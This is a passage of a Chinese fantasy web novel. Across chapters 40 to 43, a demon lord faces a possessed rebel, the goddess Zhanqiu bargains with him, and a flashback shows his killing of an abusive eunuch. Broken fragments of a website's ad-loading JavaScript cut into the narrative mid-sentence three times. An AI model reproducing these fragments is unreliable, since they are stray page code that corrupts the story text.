哪知他才骂完,周围立即跪倒一片,齐声道:“尊上,属下绝无二心!” “一群怂货!”贺青又慌又恼,扬高了声调,待他转回头来看向百里及春,眼神有几分闪躲。 迟疑再三,他终是鼓足了勇气,长吸一口气道:“尊……” 才道出一个音节便止了声,旋即改口,“百里及春,今日我就要替楚风讨一个公道!” 楚风和他在没遇到百里及春以前便已相识,二人一同长大,情同手足。入了魔军以后亦在同一个军营,并肩作战的时日无数。 他自认对尊上忠心耿耿,绝无反叛之心,若非兄弟枉死,他今日是决计做不出此等大逆不道之事。 百里及春面上笑容不改,似乎真的很好奇:“你打算怎么讨?” 贺青原本还残余的一丝愧疚之心,在百里及春此刻无关痛痒的姿态面前消失殆尽。 在他的认知里,尊上一直如此,对待任何人、任何事都是冷漠疏离。他原以为只有做到这般无情方能无所不敌。 可从前都是对付外敌,他没想过尊上对待自己的属下也是如此,残忍暴戾、没有丝毫情面。 那日他本兴高采烈地欲寻楚风吃酒,却听闻楚风犯下大错,如今在烛月殿中受审。 他一听说这个消息便往烛月殿去,本想着替楚风求情,谁知他还没走到烛月殿,就看见几人抬着一具担架走过来。 掀开遮掩的裹布一看,露出的景象顿时让他定在了原地,双腿仿佛注了铅,动弹不得。 楚风死了。 饶是上过不少战场、见过不少大场面的他也觉得楚风死得过于难看,看得他双目通红,手不自觉地发颤,浑身血液逆流。 “这是怎么回事?”他强忍情绪问道。 抬着楚风尸首之人回答:“楚将军通敌,已被尊上处决。” “他怎么可能通敌!此事查清楚了吗!” “将军,此案乃尊上亲审。”回话之人为难道。 尊上之意便是此案的结果,不容置疑。 贺青脸色煞白驻在原地,良久,终是松手放他们走了。 忠心耿耿千余年,就算当真犯下通敌之罪,也不该落得这般下场。死便死矣,何至于此? 侍奉这样一个不仁之君,他心有不服,怨恨杂生。 众人皆道他被怨恨冲昏了头,或许是吧,如今他已没有退路,横竖都是一死,倒不如殊死一搏。 贺青摒除杂念,拿出遏灵锁,可他还未加施展便闻对面响起一道清冷的声音。 “原来遏灵锁啊,可惜,此物无用。”百里及春敛起笑容,似是好奇落空,索然无味地看着贺青。 他的表情平静,可落入贺青眼中却是上位者的轻视挑衅。 羞恼和愤怒从贺青心口窜出,让他的动作更快,声音更高:“一试便知!” 他双手紧握遏灵锁,凝神闭目欲将全身灵力灌注其中,以换取其更大的威力。遏灵锁在他手中发出嗡嗡的声响,片刻后便挣脱了束缚腾空而起,化作一道银色的光影,紧紧缠绕在百里及春周围。 见此情景,贺青面上怒意稍褪,化为得色涨起,加快了手中的动作。 银光逐渐变得强烈,伴随着灵力波动,朝着光影中心的百里及春压去。 百里及春眉头都未曾皱起一下,右掌轻轻抬起,转了个方向猛然朝外一击,便见那银色光圈骤然变作薄纸一般,轻而易举地被其掌风摧毁,化作一缕缕零散的光辉,触地即灭。 “本座说了,此物无用。” 随着他话音落下,悬在空中的遏灵锁也随即炸开,散落在地。 贺青看着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 脚边爆裂的法器残片,脸色僵硬如铁,好像被毁的不仅仅是法器。 百里及春摇首转身,无心将精力费在此处。正欲开口命其等返回魔界,忽闻身后贺青发出一道嘶吼。 狂风四起,周身的树叶被卷入空中,在某种力量的操控下,仿佛有了生命一般疯狂旋转,将贺青全然笼罩其中。 下一瞬,由树叶织成的屏障内,发出了一道极为阴柔的声音。 那声音像是某种古老的咒语,缠绕在耳畔。 “小百里,这么多年了你还是这副可怜模样。纵然凡胎已灭又如何,你的凡心尚在。” 话音甫落,其周身叶片散去,露出了贺青的容貌。唯独那双眼睛有些诡异,瞳仁死气沉沉,不似活物。 百里及春脚下一滞,慢慢回过身来,眼神尖锐得像一把利刃朝其刺去,一点也不复方才看他时的冷静从容。 仿佛在透过贺青,看向另一个人。 “你说什么?” 下面跪着的众人闻声而颤,头也不敢抬起来半分。 只见此时贺青如同换了个人一般,口吻哪里还有半分忌惮,全然一副长者的姿态,说着完全不符合他身份的话语。 “本是蝼蚁苟活,却因天降神迹抓得一丝生机。可你竟敢生出那般念想,啧啧,何等龌龊狂妄!却偏偏,你是因这一妄念成魔,它必将永……” 百里及春不再听下去,身影如风,转瞬出现在贺青身前。不待他有任何反应的时间,修长的手指宛如铁钳一般扼住他的喉咙。 强烈的灵力从指尖溢出,遏得他无力动弹,更别说开口道出任何一个无用的音节。 抽力一甩,便见贺青重重摔落在地,口吐黑血,他分明无力回击,却并不死心,竟咧嘴笑了起来,似是在嘲讽百里及春的发作。 “你害怕了。”贺青道。 百里及春脸色一沉,眸中透着浓浓的阴鸷,像一只藏在深渊的凶兽,意图撕裂眼前的一切。 他掌心一动,再度聚力,周身寒风骤起。 正当此时,他身前身后一同响起两道熟悉的声音。 “尊上!” “百里及春!” 百里及春毫不犹豫地转头看向后者,视线落在了朝他而来的那人身上。 他好看的眉毛一折,混乱的场面下,脑海却仅闪过一个念头。 不想让她看见自己动手。 像烛月殿那般的失态,一次就够了。 手上聚起的灵力渐渐褪去,周身被灵力卷起的漩涡也顷刻消失,一切回归于平静。 “百里及春,”斩秋对上百里及春凉凉的视线,走了过去,“我有话要和你说。” 另一边,方才另一道声音的主人,赤龙,呆呆地望着眼前这一幕。 今日清晨他一得到温辞的消息说鼎阁失窃,便知是贺青这小子犯傻了,二话不说就从梦幽城跑了过来,意图劝诫贺青不要自寻死路。 还在远处时他便听见贺青对尊上说着大逆不道之言,心想今日他怕是凶多吉少了。本着同僚一场的情谊,他还是决心上前阻止一二。 却哪知真正能阻止这场混乱之人,根本不是他。 从前温辞告诫他说过很多遍,斩秋于他们尊上而言尤为特殊,没事少去招惹。他从来不信,只觉得是温辞危言耸听、擅自揣度尊上之意。 但如今看见斩秋仅仅唤了尊上的名字便让尊上冷静下来,他那原本固若磐石的信念动摇了。 41. 第41章 斩秋不是来阻止百里及春发疯的。 她是来与百里及春谈条件的。 从早上见完辰琰回去的路上开始,她便在脑海中筹划如何与百里及春要人一事。许是因为从前交集不深,竟一时半会儿想不出任何可以威逼利诱他的筹码。 思虑许久,才从上一世的记忆中搜刮出来一件可以拿来当作交易之物。 上一世她与裘安大婚前,回到缥缈境小住了一段时日。那时赤龙罕见地出现在缥缈境外,向她索求一件天宫宝物——净浊幡。 若是普通的物什也便罢了,净浊幡保管在天宝阁中,层层阵法相护,哪是她能轻易取得的? 她自认与魔族没什么交情,不愿为其冒这个风险,果断回绝了。 后来她才知道,原来赤龙向她索取此物是为了净化城池。当时魔族内部斗争不断,浊气侵蚀着土地,魔界城池陷入一片混乱。 虽然如今魔界还未进展到这个地步,但此物无疑是一个很好的谈判筹码。 斩秋做事向来讲究雷厉风行,路上方一想出办法就让引路的妖侍带她去往百里及春所在的宫殿。可当她到时,殿外的侍者又告诉她,百里及春不在殿中。 几经周折她才得知百里及春出宫了。 她顺着林中道路一直往前走,竟还真碰上了百里及春,只是这场面不大好看。 不过眼下的情形似乎给她贡献了一个更好的筹码。毕竟用净浊幡换取遗光塔中一介罪徒,还是太亏了,而且太过冒险。 斩秋的视线轻轻掠过一旁倒地的男子,眼中滚过一抹算计。 “你要说什么?” 百里及春寒凉的声音从头顶落下,拉回了她飘远的思绪。 她微微昂首,目光朝男子的方向一点:“看他的样子,应该是被阴魂操控了。” “我可以帮他驱魂。” 几乎没有任何的思考,百里及春脱口而出:“不用。” 斩秋蹙起眉:“阴魂虽能暂时被外力逼出宿体,却无法保证其之后不会再次入侵。而且阴魂会蚕食宿者元神,长此以往,他会死的。” 说完不见百里及春有任何回应,她沉默了片刻,又问:“难道你真的打算杀了他?” 此时赤龙已将贺青用法术控制绑起,朝他们走了过来,扫视一圈身后跪着的众魔:“尊上,要属下将他们带回去吗?” 似乎觉得“他们”二字所指过于模糊,他又补了一句,“还有贺青,尊上打算如何处置?” “带回去。”百里及春道。 “是。”赤龙领命,走之前淡淡瞥了斩秋一眼。 眼见着即将到手的“谈判筹码”飞了,斩秋嘴唇动了动,忍不住道:“三月之内,你若改了心意,可随时寻我。” 若超出三个月,那人便已救不得了。 百里及春没有吭声,不知是否有将她这句话听进去。 诚然,被阴魂附体者多为魔族,可偏偏能够驱除阴魂的只有正统仙法。大多数魔族无处求援,便只有死路一条。 通常被附体者都是在无意间与阴魂达成交易,有时他们自己都不清楚原由。然而一旦被阴魂攻破其执念,便失去了操控身躯的权利。 被附体者多以自伤为代价将其逼出,可时日一久,自己也会落得个魂飞魄散的下场。 除了请仙法驱魂,无其他解法。 百里及春深知这一点,也知驱魂之人可擒获阴魂,所以不能是斩秋。 斩秋见他一直不说话,这才发觉他面色有异,与往常冷静从容的模样很是不同。不禁生出些许好奇,回想起方才那人所说的话。 隐约觉得他是在暗指百里及春成魔前的经历,且他在那时候便与百里及春相识。 究竟是什么样的关系,才会让他都沦为一缕阴魂了,还要以这种方式对百里及春纠缠不放呢? 思及此,斩秋看向他的目光掺进些许复杂之色。 他尚为凡人时,过得很惨吗? 好像感觉到她的目光,百里及春望了过来,在看清她眼底的一闪而过的怜悯后,微不可见地皱了下眉:“你在想什么?” 斩秋自觉很会察言观色,此时不再提及驱魂之事,而是出于礼貌问了他一句:“你没事吧?” 却见他的眸色更深了些,面上划过一瞬不常见的挫败和落寞。 他不需要任何人的同情,尤其是她的。 百里及春收回视线,提步往回走去。他走得很急,一下子便与她拉开了距离。 过了一会儿,脚步又不由自主地慢了下来。 斩秋随即跟了上去,一路上再没开口。 另一边,赤龙正押送一众人马返回魔界。 此时贺青已经清醒了,双手被封元索所缚动弹不得,嘴上功夫却是片刻没落下。 “赤龙,你小子给我绑着算怎么回事!” “这么多兄弟们看着呢!” “你就算不绑着我也会跟你回去的,快给我松开!” 任凭他怎么叫唤,赤龙都充耳不闻,手中紧紧攥着捆着贺青的封元索另一头,悠哉悠哉地走在前面。 看似清闲,实则是他的思绪早已飘到十里开外。 尊上与斩秋的关系实在是令他匪夷所思。他想破了脑袋也没想明白,温辞与他说的“特殊”究竟为何意。 尊上曾说要利用斩秋,莫非是特殊在“利用”二字?因为斩秋对尊上颇为有用,所以尊上才礼待她三分么? 可是他与温辞对尊上也大有用处,怎么不见尊上偶尔对他们纵容纵容呢。 赤龙琢磨不出个所以然来,反倒越想越觉得委屈,步伐逐渐变得沉重。 身后贺青撒泼许久,终于败下阵来,神色变得肃穆许多,话锋一转:“尊上会怎么处置我?” 听到“尊上”二字,赤龙终于停了下来,回身怒瞪着他:“贺青,你有几条命啊竟敢盗走遏灵锁,私自带兵去围堵尊上?!尊上是你能动的了的吗?” “我就是不服,楚风不能死得这么不明不白!”贺青也攒了满满的火气,高声怨道。 “他怎么死的不明白了?”赤龙道,“尊上说他通敌,他便是通敌,难道尊上会误判吗?你也跟在尊上身边这么多年了,你可见尊上做错过?” 贺青被他说得一噎,神色 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不自觉黯下几分。 如今魔界以百里及春为尊,但仍有一部分人并不臣服,认为他非生来魔胎,名不正言不顺,故而自立门户。 此派系中多为族中长老护法,是前任魔尊的旧部,他们占据了魔界诡渊城,形成了一股不可忽视的力量。 这些年他们频频挑起斗争,明里暗里不知遣了多少奸细意图谋害尊上,甚至与天界牵扯上关系。 而赤龙口中的“通敌”,便是指诡渊城那一派系。 但贺青始终不信楚风会那样做,在没有看到证据之前,他是不会罢休的,哪怕是尊上他也不信。 “还有,你对尊上说得那些大逆不道之言又是什么意思?”赤龙又道。 “什么大逆不道之言?”贺青抬起头,一脸茫然。 “什么凡胎已死,凡心尚在……”赤龙回忆了一下,其余的字眼诸如“蝼蚁”、“苟活”、“妄念”之词,他根本不敢道出亵渎了尊上。 话落,却见贺青更加一头雾水,愣愣地摇了摇头。 “你不知道?”赤龙微微眯起眼睛,难道方才斩秋说的阴魂附体是真的? 那方才尊上为何不让斩秋帮忙? - 原以为这一路他们都不会说话了,却不想百里及春在临近妖宫入口时冷不丁地停了下来:“你来寻本座,就是为了阻止本座动手?” 她又不知贺青会在此埋伏,怎么可能是特意为了此事而来。 她来找他,原是有旁的事。 斩秋见他恢复了神色,没有掩饰自己的来意:“我是想来和你做个交易。” “你要什么?” “其实也不是我,是辰琰。她想要一个被关押在遗光塔中之人。” 百里及春点头,不咸不淡道:“那她会给你什么?” 斩秋默然片刻,心道他为何问这个?是准备先听听对方的筹码好待价而沽吗? 犹豫了一会儿,还是如实回答:“苍竹。” 话音甫落,但见百里及春阴恻恻地重复了一遍:“苍竹?” 斩秋轻轻颔首,并不知此刻百里及春的思绪又回到了那日天宫之上,他在秋茗殿外驻足时听到灵衫询问斩秋的话。 ——“殿下的意思是,若他寻得苍竹,您与他的婚期便要提上日程了么?” 想到这里,百里及春漆黑的瞳仁有些锋利:“你要苍竹做什么?” 斩秋闻言抿了抿唇,没有将婚期一事详细解释,只捡了关键的说:“总之此物重要,不能落到裘安手里。” 听罢,百里及春原本冷峻的眉眼莫名缓和许多,似乎明白了什么,唇角扬起一道不易察觉的弧度:“好。” “好什么?” “你说的交易。” 斩秋神情微愣,他这是同意让她去遗光塔提人了?可她分明还没说要提的人是谁呢,况且他也没说他的条件是什么。 不会有诈罢? 斩秋目露狐疑地盯着百里及春:“你还没说你要什么?” 只见他垂下眼来回视着她,眼里闪过星星点点的欲望。 “放心,本座不做亏本的买卖。” 42. 第42章 “你不必送我,回含光殿的路都走了这么多回了,我已然认路。”入宫后,斩秋见百里及春一直走在自己身侧,不由提醒道。 百里及春没有依她,只是轻描淡写地回道:“顺路。” 哪里顺路了?斩秋略一蹙眉。早上她让侍者带她去百里及春的宫殿寻他时,分明绕了好远好远。 “明日祭典便算结束了,你是不是也要回到魔界了?”走到半路,她又问。 “不急。” “你在妖界还有别的事?”斩秋面露好奇。 她留在此处是因为和辰琰的约定,而百里及春迟迟不走又是为了什么? 却听百里及春岔开了话题,反问她:“你可知辰琰要你从遗光塔中带走的人是谁?” “她还未告诉我。”斩秋摇了摇首,忽然想到什么,眼眸闪了闪朝他望去,“怎么,你可是知道些内情?” “没有。”百里及春道,半晌,莫名又补充了一句,“本座与辰琰不熟。” “怎么会不熟呢,你都抓住她那么大一个把柄了。”斩秋满目调侃,唇边绽开一抹笑意。 此时百里及春突然停了下来,面无表情平视前方。 斩秋原以为自己又说错了什么触及他的心事,正欲开口补救,可是下一瞬,她似乎也感受到了一道强烈的视线。 不由转头,寻觅视线来处。 原来谈话间,他们已行至离含光殿前。 就在距离他们不足十步的地方,裘安正站在殿前的台阶上,目光越过阶下为他引路的妖侍,不偏不倚地落在她的身上。 他们一路走来有说有笑的画面,裘安默默地看了良久,唇边划过一抹冷笑。 斩秋脸上的表情在看见裘安的那一刻骤然消失。分明是她的寝殿,但一瞧见裘安站在门外,她便不想走过去了。 偏偏裘安不是个乐于成全的人。他心思敏锐却逆反心极强,对方越是抗拒,他便越要靠近,仿佛违逆是一种特殊的乐趣。 “真没想到,会在这里看见你们二人如此和睦的模样。”裘安缓步走下台阶,朝他们走了过来,脸上带着讥诮的笑意。 “本座也没想到,会在这里看见你。”百里及春凛声道。 唯独斩秋没有吭声,心中猜想他今日的来意。 她不知裘安是什么时候来的含光殿,是否知道裘霜已经回了天宫,也不清楚辰琰有没有派人找过裘安…… 诸多疑问涌上,一时间神色沉重。 裘安犹在笑着,轻轻侧首,目光挪到了斩秋那张忧郁的脸上,戏谑道:“你的脸色怎么这般差?” “你来做什么?” “来找霜儿。” “她……”斩秋方一开口便被裘安兀自接了过去,“她不在,我知道。” “所以我不找她了。”裘安意味深长道,“我来找你。” 斩秋闻言抿了抿唇,半晌,对百里及春道:“你先回去吧。” 百里及春没说什么,斜睨裘安一眼,转身离去。 二人朝殿中走去。 方一进殿,便瞧见殿内一片狼籍,斩秋登时警惕起来,目光快速搜寻着灵衫的身影。果然在一张翻倒的桌案之后,看见她双手被缚在地,昏迷不醒。 “你把灵衫怎么了?!”斩秋怒斥一声,随即赶到灵衫身边,运转灵力解开她身上禁制。 “没怎么。”裘安漫不经心道。 不过是方才他欲进来寻裘霜,却被灵衫再三阻拦,一来二去,便成了如今的模样。 哪怕不是第一回见到斩秋为了灵衫一副心急如焚的模样,裘安仍觉得可笑,倚在门边想,不过一介灵兽,至于这么在乎么? 到底是看不下去,开口道:“放心,她没受……” “伤”字还未出口,便闻“啪”的一声,一记耳光响亮地打在了他的脸上。 空气瞬间凝固,一切都变得静默无声,唯独耳边斩秋愤懑而急促的呼吸尤为清晰。 裘安明显愣了一下,许是人生中头一次遭到掌掴,竟有些觉得新奇,手指轻轻抚过被打的地方,嘴角的笑意却更加明朗。 他抬起头,看见斩秋愤怒地站在自己身前,眼神阴冷的似冬日的冰霜:“裘安,我分明警告过你,不准碰我的人。” “你来不就是想知道裘霜在哪儿吗?不必费心试探了,我告诉你,她已经先行回天宫了。” 裘安闻言沉默了片刻,忽然问了句没头没尾的话:“她知道了?” 声音冷淡,却又带着三分好奇。 斩秋见状嗤笑一声:“怎么?你还会在乎这个?” 裘安略一挑眉,似是赞同地点了点头:“无所谓。” 裘霜就算知道那晚要杀她之人是他又有何妨?左右这手足之情的煽情戏码他也唱够了。 殿内再度陷入了一片寂静。 少焉,裘安突然明白了什么,不由得说道:“你和辰琰做了交易。”是陈述,不是疑问。 “是又如何?准备回去以后到陛下面前参我?”斩秋言语间充满了鄙薄。 “原本是这么想的。”裘安平静答道。 此时身后突然传来灵衫的声音,斩秋连忙过去扶住她的肩膀,连眼都没抬一下,冷声对裘安道:“请你出去。” 裘安亦无意在此欣赏她们主仆情深,大步走出了含光殿。 门外的妖侍看见裘安脸上的红印时,面上浮过一丝愕然,随即垂下头去。 裘安却不以为意,依旧摆着他往常的姿态,吩咐道:“回月幽殿。” 后者低声应是,专注地在前方引路。 待到月幽殿时,裘安并不着急进去。他于殿前停下,仿佛想起了什么,从衣袖间取出一只精致的方盒随意丢在地上,对一旁的妖侍道:“拿去丢了罢。” 本想着哄哄裘霜,如今也没这个必要了,留在身边只觉心生郁烦。 后者闻言将方盒捡起,见他走进殿后方才打开一瞧,只见里面躺着一颗灵珠。珠身晶莹剔透,蕴藏着浓厚的灵气,是仙界中人视为珍贵法宝,关键时刻能护主脱离险境。 如今贵重之物竟要丢弃,实在过于可惜。那名妖侍折眉叹了口气,随后左右望了望,手一抹,顺势将方盒收到了袖子里。 殿内,阳光从窗前洒下,轻柔地铺满殿中每一个角落。 分明宁静的氛围却压得裘安透不过气,仿佛有什么在心中盘旋。突然一抹光亮从他眼角闪过,引得他扭头望去。 原是一面铜镜。 他缓缓走到镜前,安静地望着镜中的自己,眼里透着冷清的幽光。只见那道微红的五指掌印在他白皙的皮肤上显得格外醒目。 注视良久,倏而低笑出声:“真难看。” 话罢抬手覆面,袖落之际面上已不见任何痕迹。 - 原本千年以前的事情,除了尚为凡人时度过的最后一个上元节,其他的百里及春已经不会时常想起了。 但今日经历贺青一事,那些被他视作污点的回忆,再度从阴沟里爬了出来。 人界胤国,景仁十五年冬。 这里的冬天已经许多年没下过雪了,百姓们都道这是天意不佳,各方官员也向皇帝请愿向天祈福。 可见祈福并不奏效,非但不下雪,天气还变得愈发阴冷。 皇城冷宫里,一个十岁大小的男孩趴在池边,身上仅穿了一件单薄的衣衫,此时布料早已被冰冷的池水沁透,紧紧地贴在他瘦削的身体上。 他的面容苍白,嘴唇冻得发紫,浑身不住地颤抖着,可那一双倔强的眼睛牢牢地盯着面前之人。 那是这座冷宫中除了他以外唯一的活人,皇后派来“照看”他的太监,张坚。 张坚被他幽暗的眼神看得发毛,眉头倏地一紧,心道他真是命大,分明不会凫水,掉入这样深的池子里竟还能活着爬上来。 不由心下冷哼一声,装模作样道:“哎哟,小殿下怎的这般不仔细落入池里,这寒冬腊月的,若有个什么闪失,奴才可担当不起啊!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “小殿下莫怪奴才,奴才方才瞧见也是急得很呐,奈何不通水性,实在是无能为力,只能在旁边干着急。” 张坚说着朝他走近一步在他身旁蹲下,低声道:“小殿下,日后还是自己多加小心些,毕竟这冷宫里……”他话语一顿,唇边划过一抹讥笑,“可无人念着您。” 男孩咬牙不语,手指紧扣着地面。 方才分明是张坚故意将他推入池中,还在一旁冷眼看着,巴不得他就此淹死在池中,好回去向皇后讨赏罢。 何来的不慎入水?何来的着急? 张坚见他不说话,渐渐收敛笑容,起身离开。 与往常一样,张坚没回来给男孩送吃食,直到晚上才拿来一盘发臭的饭菜,推门走了进来。 方一入内,便瞧见男孩正背对着他,在床下藏着什么东西,听见他的声音,浑身一颤。 张坚眯起眼来,将饭菜随手一放,大步踱过去:“小殿下在藏什么呢?” “没、没什么!”男孩连忙转过来,面色慌张地用身体堵着后面的床。 张坚见他这般表情,笃定了他背后有些什么,大手一捞将他捉起甩到一旁,低头朝床下探去,果然摸到了一只陶罐。 他将陶罐拖了出来,打开一瞧,眼睛都瞪直了:“酒?!” 顿时惊喜交加,眼底划过贪婪的笑意,却装作诘问的模样问男孩:“小殿下好大的胆子,竟敢私藏!这酒哪儿来的?” “我……去岁春节……”男孩支支吾吾地说着,话未说完,猛地抬头看向张坚,祈求道,“张公公,你别说出去,这酒我不要了,成吗?” 后者闻言眼中贪婪更甚,心想冷宫里的事,他不说,谁会发现? “小殿下这般年纪,哪里懂得吃酒。也罢,此事奴才不会声张,只是这酒奴才便拿走了。” 男孩感激地点点头,转身跑到四方桌旁,手拿起桌上的饭菜便往嘴里塞。 张坚得意地觑了男孩一眼,毫不客气地打开陶罐,坐在一旁喝了起来。 他喝得起兴,便也没发现男孩微微上扬的嘴角,以及愈发阴冷的眼神。 入夜,酒气弥漫。 张坚满脸通红醉倒在桌,口中时不时发出含混不清的呓语。 男孩站在他的身旁,静静地盯着他,见他已然醉得不省人事,方才走到床边,抽下破旧的床单,将其撕成两片。 他缓缓蹲下身,将其手脚绑住,随后双手抓住男人的脚踝,用力地将他拖离桌旁。 张坚的身体在地上发出沉闷的声响,但他并未醒来。男孩咬紧牙关,一寸一寸向外走去。 到底是个十岁的孩童,哪怕用尽全身的力气,也还是太过沉重。他的额头渗出一层细细的汗珠,呼吸也变得急促起来,可他没有停下。 许久,终于走到池边。 四周一片寂静。 没有人会过来。 这个被人遗忘的角落,此时第一次让他感到愉悦。 他喘息着垂下眼,望着地上这个折磨他许久,屡次想要夺他性命的男人,瞳仁变得一片阴寒。 终是弯下腰奋力一推,将其推入池中,只闻“咚”的一声,池中溅起涟漪。 寒冷刺骨的池水侵入衣襟,张坚终于清醒过来,他浑身奋力地挣扎,可双手双腿皆被束缚,动弹不得。 此刻恐惧紧紧将他包围,仿佛一双大手不断挤压他的胸膛。 “救命!救……救命!” 男孩安静地站在池边看着他呼救,心中不起一丝波澜。 直到他慢慢没了气息,尸身浮在水面上。 他才用竹竿将其捞了上来,慢条斯理地解开他身上的床单,而后再度将他踢入池中,头也不回地朝屋内走去。 湿哒哒的床单自然垂落在地,任由他牵着一头朝前而去,在地上留下一道浅浅的水迹。 此时,一丝轻柔的触感在他脸颊停留,随后化为一丝凉意。他不由顿住脚步,抬首朝上望去。 下雪了。 43. 第43章 万象宫,灵泉阵。 此处本是先妖神生前用灵力所化的一处虚无空间,外有混乱修为的结界,灵力低者无法入内。 如今整个妖界只有辰琰一人可自由进出,故而被其占为己用,作为闭关修炼的秘境。 空间内弥漫着淡淡的雾气,仅有中央坐落着一座灵泉,似是虚幻与现实的交界。 此时,百里及春坐于池边,目光垂落在他右膝处,想起了千余年前的那个冬夜。那是他杀的第一个人,彼时他的右腿还完好无损。 张坚死后,他的日子愈发艰难。 直到…… “斩秋说得不错,祭典结束,魔尊何故还不离开?” 神思游走之际,一道清脆的声音从他身后响起。 辰琰捧着一株血莲从虚无中走来,话音里盛满了赶客之意。 此处除了她从未有人进来过,而今却被百里及春轻易地闯入,不由让她觉得自己的领地受到了侵犯。 “妖皇既乐于监视本座,本座何不亲自到你跟前,替你省去那些麻烦。”百里及春眼皮都未掀起一下,漠然回道,低醇的音色里不含什么情绪。 今日他送斩秋回含光殿的路上便觉察到身边有妖士气息。被人盯梢的经历不少,只是这不能斩杀的滋味还是头一回。 辰琰闻言轻笑一声,对他话语间的讥诮毫不在意,施施然走到他旁边坐下。 面具后一双狭长的凤眼仔细端详着他,莫名说道:“听闻今日裘安离开含光殿时,脸上有一掌印。” 一语落下,对面之人却没有应答。 “魔尊不觉得很有趣么?”辰琰兀自笑道,“看来斩秋与这位天宫二殿下并不和睦,如此,朕这苍竹好像送得正是时候。” 她说着抬起眼,眼底滚过一抹意味深长的光亮。分明在说斩秋,视线却牢牢地落在百里及春身上:“想来她也必能助朕得偿所愿,你说是吗?魔尊。” 此时百里及春终于侧首过来:“你从各界请来的看客明日都将返回各界,想必不久之后六界便会盛传妖神血脉的言论罢。” 这回倒是轮到辰琰静默不语,她略一挑眉,幽幽地看着百里及春。只听他又问:“妖皇是否想过,若妖神之后当真尚存世间呢?” 话中之意便是挑明了他知晓那日祭坛之上皆是做戏。辰琰对此并不意外,亦无意在他面前遮掩,思量起他话中的假设。 半晌,她道:“朕自会迎其归位,佑我妖族。” “若她不想归位呢?”百里及春漠然追问。 始料未及的问题使辰琰兀的一愣。 她虽想过这世间或许真的尚存拥有妖神血脉之人,却从未想过此人若不愿庇佑妖族该当如何。仿佛在她的认知里,既为妖神,便理应为了妖界奉献一切。 妖神之力何等强大,若拥有此神力之人能回归妖界,便当真是妖族子民之福。可若是不能…… 倒不如趁其妖神印记未解之时,将其捉来以法术祭之,好将其神力全部纳为己用。 这个念头闪过的瞬间,她的眸底也浮过一丝微不可见的杀意。 再度抬首时,眼神却十分柔和,莞尔道:“那朕也无可奈何,毕竟是妖神,其心思岂是朕能随意左右的。” “但愿你能说到做到。” 慎重其事的口吻说得好像真的有这么一个人似的,不由惹得辰琰心生一丝怪异。但她并未往下细想,毕竟这所谓的妖神若当真存于世间,两千年来也该有点动静了。 此间谈话便也只当是一个小小插曲,并未影响她挑起此事背后真正的筹谋。 “本座明日便会离开。走之前,想和你借一个人。” “何人?” “有苏惜言。”百里及春道。 有苏惜言曾经待在昌芜郊百年,习得过麒麟族仙法,可为贺青驱魂。 其实他识得的会仙法之人众多,若是旁的事,随便捉来一人都可为其所用,但唯独此事有苏惜言是最合适的人选。 上一世他曾见过有苏惜言死在辰琰的剑下。其实当时有苏惜言本有机会活命,只要他肯出卖一个名字,便能证明自己的清白。 而此时他正需要一个有能力驱魂,又可对驱魂途中有可能看见之事缄口不言的人。 辰琰听罢眉间袭过一抹惊讶,却是没有反驳,只道:“魔尊离开之后,便不会再回来罢?” 话语间利诱的意味很浓。 百里及春未置可否,眼底划过一抹暗色。 - 诸事俱了,含光殿的清晨难得地迎来了一回安宁祥和。 斩秋望着窗外的景象,心中猜想着此时天宫该会传去怎样的消息,天帝若是知晓祭坛上闹的那么一出,又会是怎样的神情。 毕竟天帝是如今这世间唯一知晓她身世之人。 说起身世,斩秋这才发觉,她好像从未对她的母神感到过好奇。 以前在人间时她看过不少话本,话本中与母亲分离的孩子大多都会在长大以后寻找母亲。 可她从未有过这个念头。 仔细想来,或许是玄焰真神待她太好了。 好到让她从未意识到自己缺失了什么。 “遗孤”两个字,在她的认知里与她并无关联。直到玄焰真神逝世的那日起,她才真正觉得自己成为了没有父母的孩子。 如今她就身在妖界,先妖神的灵冢应当也就落于妖界的某一个地方。她头一次在心底生出了好奇,好奇她生前是个怎样的女子。 “灵衫,”斩秋转了头,视线在殿中寻着灵衫的身影,寻定后,对她笑道,“你说先妖神若有灵冢,它会在哪儿?” 她看似问得随意,但是灵衫跟随她多年,知晓她的性子。她既已生了念,便一定会追究到底。 不由在脑海中仔细思索一番,方才回道:“应当就在皇宫之中。” 先妖神残留的神识都被存于魂玉珠中,想来灵冢也不会离得太远。 斩秋嘴角噙了点笑,颔首起身对灵衫道:“走,去寻祭司。” 妖族祭司的住所坐落于妖族皇宫的东侧,独立于繁华的宫殿之外,显得格外静谧而神秘。住所门前悬挂着长长的铃铛,微风轻拂,发出清脆悠长的声音。 彼时门外凉亭之下,祭司岚祭正捧一盏热茶,见茶水浮映出三人的身影,不由眯起眼,转头朝远处望去。 为首之人袭一身青衣,乃是妖族侍者的服饰。其身后跟随两名女子,一白,一黑。 白衣女子倒是有几分面熟,待她走近后,岚祭方才忆起了来者的身份。 九重天神女,斩秋上神。 岚祭起身相迎,轻唤了声:“斩秋上神。” “见过祭司。”斩秋亦微微颔首作礼。 岚祭有些受宠若惊,讪讪笑了笑:“上神怎会来此地?” “原是那日观礼,见祭司能与先妖神的灵识通感,颇为震撼,故而前来讨教。”斩秋温声说道 但见岚祭面上的笑容微滞,眼底划过一抹狐疑。 若此时说话的是旁人,他或许还可以糊弄过去。可偏偏这人是斩秋。 他知斩秋与陛下做了交易,该是知晓祭坛之事的内因,既如此,现下忽然向他言及讨教,莫不是话里有话。 岚祭朝四周瞥了两眼,眉心微蹙,面上却挤出了一抹笑容:“讨教实谈不上,不过是祭灵之术,尽我的职责罢了。” 说着声音微顿,挥手摒退了周围的侍从,望着斩秋道,“殿下究竟是何意?” 斩秋见状挑了挑眉,瞧四下再无旁人,坦然禀明了来意:“不瞒祭司,今日我来是想问问有关先妖神之事。” “哦?上神何故好奇先妖神之事?” “父神在世时我就常听父神提起先妖神,听闻二人从前关系十分亲近。如今我得缘来到妖界,实在是压不住心中好奇,想看看能与我父神交好之人该是什么模样。” 斩秋此话半真半假。玄焰真神与先妖神宁涣是故友是真,但那都是她在执月阁时听妙云偷偷与她说的。 玄焰真神在世时鲜少与她提起先妖神名讳。 不过此话在岚祭耳中却听不出什么异样。 